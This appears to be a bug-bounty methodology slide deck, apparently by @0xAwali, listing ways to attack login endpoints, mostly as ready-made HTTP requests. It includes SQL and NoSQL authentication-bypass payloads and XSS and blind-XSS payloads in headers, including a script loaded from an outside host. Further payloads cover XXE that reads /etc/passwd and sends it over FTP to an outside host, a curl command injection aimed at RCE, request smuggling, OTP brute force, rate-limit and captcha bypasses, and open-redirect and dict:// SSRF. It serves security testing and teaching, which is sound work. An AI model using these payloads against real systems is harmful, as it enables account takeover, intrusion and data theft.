



Log In

Email Address OR Mobile Number

Password

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attacker

My Methodology

Try To Insert '...' OR "..." In Email OR Password To Bypass Authentication



Tweet

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
user=...'&password=*****&captcha=Random
```



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My Methodology

Try To Insert ' , ' ' OR ' ' ' AND If There Is Int Value , Try To Insert ' , ' Value'
OR ' Value' ' In Email OR Password



Tweet

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate

user=me'&password=*****&captcha=Random
```



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My Methodology

Try To Insert **SQLi Payloads** e.g **" ;WAITFOR DELAY '0.0.20'-- OR '/*/*or/*/*/abc!='"**
In Username OR Password Parameters To Get SQLi

-  Writeup
-  Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
email=" ;WAITFOR DELAY '0.0.20'--&password=" ;WAITFOR
DELAY '0.0.20'--&captcha=Random
```



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My Methodology

Try To Insert [%24ne] In Email OR Password Parameter To Bypass Log In



Slides



Research

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
email=me@gmail.com&pass[%24ne]=&captcha=Random
```



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My Methodology

Try To Insert **>** In Password Parameter AND change Content Type Header To **application/json** To Bypass Log In



Slides



Research

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{'user':'me','pass': {'&gt;': ' '},'captcha':'Random'}
```



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My Methodology

Try To add **nameOfparameter[] In Email OR Password Parameter To OverWrite Value Of The Parameter**



Slides



Research

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
email[ ]=me@gmail.com&email[ ]=victim@gmail.com&
pass=*****&captcha=Random
```



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My Methodology

Try To Insert **_all_docs** OR **user[]=_all_docs** In User Parameter With Undefined Password To Bypass Log In



Slides



Research

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
user=_all_docs&captcha=Random
```




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My Methodology

If The Body Of Request Is Json , Try To Log In By **Using Multiple Usernames At The Same Time** To Cause Error

-  Slides

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
{"email":["userONE","userTWO"],"password":"*****",
"captcha":"Random"}
```



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My Methodology

Try To Bypass **Log In By Inserting e.g. \ OR ||1#** As Email AND Password



Tweet

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
email=\&password=||1#&captcha=Random
```



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My Methodology

Try To Insert **XSS Payloads** e.g.

%20onfocus%3djavascript:alert(%27xss%27)%20autofocus%20a=a In Email Parameter



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Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number
```

```
email=%20onfocus%3djavascript:alert(%27xss%27)%20a
utofocus%20a=a&password=*****&captcha=Random
```



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My Methodology

Try To Insert Large String 50.000+ Characters OR Numbers in Username OR In Password Parameters To Cause Errors Exposing Sensitive Information

•  Slides

•  Tweet

PXMME1337'S BUG BOUNTY TIP

Go big or go home.

“Large values in POST params may cause verbose (SQL) errors leaking sensitive data, code and even creds!”

String:

Number:



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My Methodology

Try To Change The Request To XML Body With XXE Payloads e.g. `<!ENTITY % b PUBLIC "lol" "file:///etc/passwd">` AND **XXE.html Contains** `<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://me.com/%b;%3E%22%3E%c`



Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number
```

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [
<!ENTITY % b PUBLIC "lol" "file:///etc/passwd">
<!ENTITY % asd PUBLIC "lol" "http://me.com/XXE.html%22%3E
%asd;
%rrr;]>
<login><user>me</user><pass>*****</pass></login>
```



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My Methodology

Try To Use HTTP Request Smuggling Transfer-Encoding: foo To Frontend That Looks at The Content-Length AND Transfer-Encoding: chunked To Backend That Stops Reading After The 0/r/n/r/n and everything after That Point is Interpreted **as a Second Request**

-  Writeup
-  Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
Content-Length: Number
Transfer-Encoding: chunked
Transfer-Encoding: foo

3e
email=me@gmail.com&pass=*****&captcha=Random
0
/r/n
```



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My Methodology

Try To Use HTTP Request Smuggling Frontend That Looks at The Content-Length AND Transfer-Encoding : chunked To Backend
That Stops Reading After The 0/r/n/r/n and everything after That Point is Interpreted **as a Second Request**



Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
Content-Type: application/json
Content-Length: Number
Transfer-Encoding : chunked

3e
{"username":"me","password":"*****","captcha":"Random"}
0
/r/n
```



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My Methodology

Try To Use HTTP Request Smuggling Frontend That Looks at The Content-Length AND Transfer-Encoding: chunked To Backend
That Stops Reading After The 0/r/n/r/n and everything after That Point is Interpreted **as a Second Request**



Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
Content-Type: application/json
Content-Length: Number
Transfer-Encoding: chunked

3e
{"username":"me","password":"*****","captcha":"Random"}
0
/r/n
```




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My Methodology

Try To Insert **SQLi Payloads** e.g. ' AND '1' = '2 OR "';WAITFOR DELAY '0.0.20'--
OR **Blind XSS** In User-Agent OR Non-Standard Headers e.g. X-Forwarded-Host

-  Writeup
-  Writeup

```
POST /login HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
X-Forwarded-Host: ' AND '1' = '2
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=me&password=*****&captcha=Random
```



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My Methodology

Try To Inject Blind XSS e.g. `"><script src=//me.xss.ht></script>` OR Time-Based SQLi e.g. `";WAITFOR DELAY '0.0.20'--` In X-Forwarded-For Header



Tweet

BUG BOUNTY TIP

“Put **bXSS** and **SQLi** payloads in **x-forwarded-for** headers. Almost nobody escapes IP’s!”

– **Linus Särud**, @_zulln





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My Methodology

Try To Insert **Blind XSS OR XSS Payloads** e.g. `</center><script>alert(document.domain)</script>` In True-Client-IP Header



Blog

```
POST /login HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
True-Client-IP: </center><script>alert(document.domain)</script>
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

email=me&password=*****&captcha=Random
```



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My Methodology

If There Is Next URL Parameter Try To Insert [http:3627732462](http://3627732462) OR
<https://www.google.com%ff@www.company.com> To Redirect User To Google

-  Writeup
-  Writeup

```
POST /logIn?nextURL=http:3627732462 HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
email=me&password=*****&captcha=Random
```



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My Methodology

If There Is Next URL Parameter Try To Insert **lol ';alert(document.domain)//lol** To Get DOM-based XSS



Blog

```
POST /login?nextURL=lol ';alert(document.domain)//lol HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
email=me&password=*****&captcha=Random
```



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My Methodology

Try To Insert `!><svg/onload=alert('XSS')>` After Login Path To Get DOM-based XSS



Tweet

```
POST /logIn?!><svg/onload=alert('XSS')> HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=me&password=*****&captcha=Random
```



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My Methodology

*** Try To Insert **Curl As Part Of The Login** To Get RCE



Tweet

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
email=me&password=*****&'curl me.com'
```



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My Methodology

If You Can Log In By Using **Your Email** OR **Mobile Number** AND **OTP Code** ,
Try To Do Brute Force The OTP To GET ATO



Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
phone=01*****&otp=*****
```




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My Methodology

Try To Do **Brute Force By Using IP Rotate Burp Suite Extension** OR **Firefox To Bypass Rate Limits** That Based On Blocked IP

-  Video
-  Writeup
-  Writeup

```
POST /login HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
email=me@gmail.com&password=*****
```



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My Methodology

Try To **Insert X-Forwarded-For Header One Time OR Two Times** To Bypass Rate Limits



Writeup

```
POST /login HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For:
X-Forwarded-For: 127.0.0.1
Origin: https://www.company.com
Content-Length: Number
```

```
email=me@gmail.com&password=*****
```



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My Methodology

Try To Do **Brute Force On Password Parameter AND If There Is Too Many Requests**
, Insert %00 In The Username OR Email Parameter To Bypass Rate Limits

-  Writeup
-  Writeup

```
POST /login HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
email=me@gmail.com%00&password=*****
```



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My Methodology

If You Can Log In By Using Your Email AND OTP , Enter Correct Email AND OTP Code Then Try To **Manipulate The Response To Change The Email**

-  Writeup
-  Writeup

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
  "email" : "admin@company.com",
  "code" : *****
}
```



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My Methodology

Try To Send The **Additional properties In The Request** To Gain Extra Authorities OR Get More Functionalities



Tweet

BUG BOUNTY TIP

Send back responses!

See object properties in the response but not in the request?
Add them to the request! You may be able to gain control over these properties!

Request:

```
{"id": "7"}  
{"id": "7", "admin": true}
```

Response:

```
{"id": "7", "admin": false}  
{"id": "7", "admin": true}
```

 YassineAboukir





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My Methodology

Try To **Change HTTP Request Method To GET Instead Of POST** To Bypass Captcha



Writeup

```
GET /login?  
user=me&password=****&captcha=Random HTTP/1.1  
Host: www.company.com  
User-Agent: Mozilla/5.0  
Content-Type: application/x-www-form-urlencoded  
Origin: https://www.company.com  
Content-Length: Number
```



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My Methodology

Try To **Remove Captcha Parameter** To Bypass Captcha



Writeup

```
POST /logIn? HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number
```

```
user=me&password=****
```



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My Methodology

Try To **Reuse The Old-Captcha** To Bypass Captcha

- **M** Writeup

```
POST /logIn? HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

user=me&password=****&captcha=Old-Random
```




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My Methodology

Try To **Change JSON Body To Normal Body AND Content Type Header From application/json To application/x-www-form-urlencoded** To Bypass Captcha



Writeup

```
POST /logIn? HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

user=me&password=****&captcha=Random
```



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My Methodology

Try To Use Non-Standard Headers e.g. **X-Originating-IP** , **X-Client-IP** ,
X-Remote-IP AND **X-Remote-Addr** To Bypass Captcha



Writeup

```
POST /login? HTTP/1.1
```

```
Host: www.company.com
```

```
X-Originating-IP: 127.0.0.1
```

```
X-Client-IP: 127.0.0.1
```

```
X-Remote-IP: 127.0.0.1
```

```
X-Remote-Addr: 127.0.0.1
```

```
Content-Length: Number
```

```
user=me&password=****&captcha=Random
```



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My Methodology

If The Company **Uses Captcha Image Contains Text** Try To Use **Convert Command** AND **Tesseract Tool** To Extract The Text From The Image

- **M** Writeup

Steps to produce :-

- 1 - **Download The Image , Called e.g. img.png**
- 2 - **convert img.png -colorspace gray
-threshold 50% imgOUT.png**
- 3 - **tesseract imgOUT.png**



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My Methodology

Is **app.com Use HTTP** Instead Of HTTPS In log In e.g. `http://app.com/login`



Writeup

Company used `HTTP Instead Of HTTPS` In Log In
Steps to produce :-

1 - `http://app.com/login`

2 - **Are Email AND Password In clear text**



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My Methodology

Try To **Figure Out If The Session Will Expire** After Logging Out OR Not

- **1** Writeup
- **1** Writeup

Steps to produce :-

- 1 - **Log In Browser e.g. Chrome**
- 2 - **Copy The Session**
- 3 - **Log Out From Chrome Browser**
- 4 - **Try To Use The Copy Session In Browser e.g. Firefox**



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My Methodology

Try To **Log Out** , And **Insert dict://me.com:80** If There Is Parameter To Redirect After Log Out e.g. `logout_path`



Tweet

```
GET /logout?logout_path=dict://me.com:80 HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Origin: https://www.company.com
```

Thank You

Mahmoud M. Awali

 **@0xAwali**